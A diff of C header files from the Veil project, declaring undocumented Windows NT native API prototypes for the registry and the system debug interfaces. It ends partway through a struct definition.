+ZwOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteKey( + _In_ HANDLE KeyHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteKey( + _In_ HANDLE KeyHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ __drv_strictTypeMatch(__drv_typeConst) + KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushKey( + _In_ HANDLE KeyHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushKey( + _In_ HANDLE KeyHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompactKeys( + _In_ ULONG Count, + _In_reads_(Count) HANDLE KeyArray[] +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompactKeys( + _In_ ULONG Count, + _In_reads_(Count) HANDLE KeyArray[] +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompressKey( + _In_ HANDLE Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompressKey( + _In_ HANDLE Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, // this and below were added on Win10 + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved // previously PIO_STATUS_BLOCK +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, // this and below were added on Win10 + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved // previously PIO_STATUS_BLOCK +); + +// rev by tyranid +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey3( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_reads_(LoadEntryCount) PKEY_LOAD_ENTRY LoadEntries, + _In_ ULONG LoadEntryCount, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKey3( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_reads_(LoadEntryCount) PKEY_LOAD_ENTRY LoadEntries, + _In_ ULONG LoadEntryCount, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_VB + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRestoreKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRestoreKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE FileHandle, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey +); + +// +// NtUnloadKey2 Flags (from winnt.h) +// +//#define REG_FORCE_UNLOAD 1 +//#define REG_UNLOAD_LEGAL_FLAGS (REG_FORCE_UNLOAD) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_writes_bytes_opt_(BufferLength) PVOID Buffer, + _Out_ PULONG RequiredSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_writes_bytes_opt_(BufferLength) PVOID Buffer, + _Out_ PULONG RequiredSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeRegistry( + _In_ USHORT BootCondition +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeRegistry( + _In_ USHORT BootCondition +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockRegistryKey( + _In_ HANDLE KeyHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockRegistryKey( + _In_ HANDLE KeyHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockProductActivationKeys( + _Inout_opt_ ULONG* pPrivateVer, + _Out_opt_ ULONG* pSafeMode +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + _Inout_opt_ ULONG* pPrivateVer, + _Out_opt_ ULONG* pSafeMode +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreezeRegistry( + _In_ ULONG TimeOutInSeconds +); + +// private +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFreezeRegistry( + _In_ ULONG TimeOutInSeconds +); + +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtThawRegistry( + VOID +); + +// private +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwThawRegistry( + VOID +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_TH2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateRegistryTransaction( + _Out_ HANDLE* RegistryTransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjAttributes, + _Reserved_ ULONG CreateOptions +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateRegistryTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenRegistryTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenRegistryTransaction( + _Out_ HANDLE* RegistryTransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitRegistryTransaction( + _In_ HANDLE RegistryTransactionHandle, + _Reserved_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCommitRegistryTransaction( + _In_ HANDLE TransactionHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackRegistryTransaction( + _In_ HANDLE TransactionHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRollbackRegistryTransaction( + _In_ HANDLE RegistryTransactionHandle, + _Reserved_ ULONG Flags +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_TH2 + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Debug.h b/include/Veil/Veil/Veil.System.Debug.h new file mode 100644 index 0000000..60911f0 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Debug.h @@ -0,0 +1,771 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#if (_MSC_FULL_VER >= 150030729) && !defined(IMPORT_NATIVE_DBG_BREAK) + +#define DbgBreakPoint __debugbreak + +#else + +__analysis_noreturn +VOID +NTAPI +DbgBreakPoint( + VOID +); +#endif + +#ifndef _KERNEL_MODE +NTSYSAPI +VOID +NTAPI +DbgUserBreakPoint( + VOID +); +#endif // !_KERNEL_MODE + +#define DBG_STATUS_CONTROL_C 1 +#define DBG_STATUS_SYSRQ 2 +#define DBG_STATUS_BUGCHECK_FIRST 3 +#define DBG_STATUS_BUGCHECK_SECOND 4 +#define DBG_STATUS_FATAL 5 +#define DBG_STATUS_DEBUG_CONTROL 6 +#define DBG_STATUS_WORKER 7 + +ULONG +__cdecl +DbgPrint( + _In_z_ _Printf_format_string_ PCSTR Format, + ... +); + +NTSYSAPI +ULONG +__cdecl +DbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ _Printf_format_string_ PCSTR Format, + ... +); + +NTSYSAPI +ULONG +NTAPI +vDbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ PCCH Format, + _In_ va_list arglist +); + +NTSYSAPI +ULONG +NTAPI +vDbgPrintExWithPrefix( + _In_z_ PCCH Prefix, + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ PCCH Format, + _In_ va_list arglist +); + +NTSYSAPI +ULONG +__cdecl +DbgPrintReturnControlC( + _In_z_ _Printf_format_string_ PCSTR Format, + ... +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State +); + +NTSYSAPI +ULONG +NTAPI +DbgPrompt( + _In_z_ PCCH Prompt, + _Out_writes_bytes_(Length) PCH Response, + _In_ ULONG Length +); + +// +// System Debug +// + +// private +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid, + SysDbgGetLiveKernelDump +} SYSDBG_COMMAND, * PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, * PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, * PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, * PSYSDBG_CONTROL_SPACE; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, * PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, * PSYSDBG_MSR; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, * PSYSDBG_BUS_DATA; + +// private +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR 